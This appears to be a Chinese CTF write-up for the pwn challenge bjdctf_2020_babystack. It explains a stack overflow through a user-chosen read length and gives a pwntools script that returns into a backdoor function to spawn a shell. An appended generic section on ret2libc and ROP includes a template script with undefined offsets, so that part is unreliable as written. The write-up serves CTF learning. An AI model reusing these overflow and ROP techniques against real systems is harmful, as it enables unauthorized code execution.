bjdctf_2020_babystack

bjdctf_2020_babystack

在这里插入图片描述
checksec 一下 64位程序 没开啥东西 ,ida看一下程序
在这里插入图片描述

main函数

咋一看read函数读入0个字符串,读了个寂寞,scanf也不能溢出,好像没有问题
在这里插入图片描述

但是scanf会读入一个用户输入的数赋值给nbytes ,然后read会读取nbytes大小的字符,也就是说我们可以任意溢出长度
在这里插入图片描述

backdoor函数

运行这个函数直接拿到shell
在这里插入图片描述
exp
ret 是为了平衡栈 其实往backdoor函数后递+1也行

from pwn import *

io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561

print backdoor

io.sendlineafter(b"Please input the length of your name:","100")


payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

io.sendlineafter("What's u name?",payload)
io.interactive()

在这里插入图片描述

### BUUCTF Pwn 题目中 RIP 寄存器的利用方法 在处理像 `bjdctf_2020_babystack2` 这样的题目时,RIP(指令指针寄存器)控制是实现任意代码执行的关键[^1]。通常情况下,攻击者会通过覆盖返回地址来重定向程序流。 对于这类漏洞利用,常见的技术之一是 Return-to-libc (ret2libc),特别是在已知 libc 库函数地址的情况下更为有效。当存在堆栈溢出或其他可以写入内存的位置偏移时,可以通过精心构造输入数据链,使得程序跳转到特定库函数如 `system()` 并传递参数 `/bin/sh` 来获得 shell 访问权限[^2]。 然而,在实际环境中获取这些确切位置可能较为困难,因此还需要考虑其他因素: - **ASLR**(Address Space Layout Randomization) ASLR 是一种安全机制,它随机化进程空间中的各个部分基址,增加了预测所需 gadget 或函数地址难度。 - **PIE**(Position Independent Executable) PIE 编译选项使整个二进制文件成为位置无关可执行文件,进一步增强了防御强度。 为了绕过上述保护措施,常用的方法有: #### 泄露信息以计算偏移量 如果能够找到某种方式泄露某些固定位置的数据,则可以根据此推算出其他重要地址。例如,泄漏栈上某个局部变量的内容或者 GOT 表项等。 #### 利用已知 gadgets 构建 ROP 链 即使无法直接调用想要的功能,也可以尝试寻找一系列有用的 gadgets 组合成所需的逻辑操作序列。 下面是一个简单的 Python 脚本用于演示如何构建 payload 实现 ret2libc 攻击: ```python from pwn import * # 设置目标程序路径 binary_path = './vuln' # 启动本地或远程服务连接 if args.REMOTE: io = remote('challenge.example.com', 1337) else: elf = context.binary = binary_path io = process(binary_path) # 获取 libc 对象以便后续使用其符号表 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 假设已经找到了一个可用于泄露的信息点... io.recvuntil(b'Leak me: ') leaked_address = u64(io.recv(6).ljust(8, b'\x00')) log.info(f"Leaked address: {hex(leaked_address)}") # ...并通过该信息计算得到 base 地址和其他有用地址 base_addr = leaked_address - offset_to_base system_addr = base_addr + libc.symbols['system'] bin_sh_str = base_addr + next(libc.search(b'/bin/sh\x00')) payload = flat({ offset: [ system_addr, 0xdeadbeef, # 不关心的返回地址 bin_sh_str ] }) io.sendlineafter(b'> ', payload) io.interactive() ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值